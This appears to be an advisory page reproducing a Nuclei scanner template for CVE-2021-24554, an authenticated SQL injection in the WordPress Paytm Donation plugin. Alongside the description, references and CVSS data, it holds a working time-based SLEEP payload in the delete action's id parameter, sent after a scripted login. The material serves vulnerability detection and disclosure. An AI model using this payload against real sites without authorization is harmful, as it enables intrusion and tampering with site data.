CVE-2021-24554: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection

2025-08-01 WordPress Paytm Donation PoC Public

Description

WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2021-24554

info:
  name: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad
    - https://wordpress.org/plugins/wp-paytm-pay/
    - https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24554
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24554
    cwe-id: CWE-89
    epss-score: 0.0654
    epss-percentile: 0.93448
    cpe: cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: freelancetoindia
    product: paytm-pay
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wordpress,wp-plugin,wp,wp-paytm-pay,wpscan,freelancetoindia,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "paytm-settings_page_wp_paytm_donation")'
        condition: and
# digest: 490a0046304402201ca705b3b6cc2b75fd75191eabd94554c4231a546ec49775c71160ba3baf95730220499ab5acfd237c05377faca7942ebac355a6aa3ee9d05857a5d8b6ad33636651:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24554.yaml

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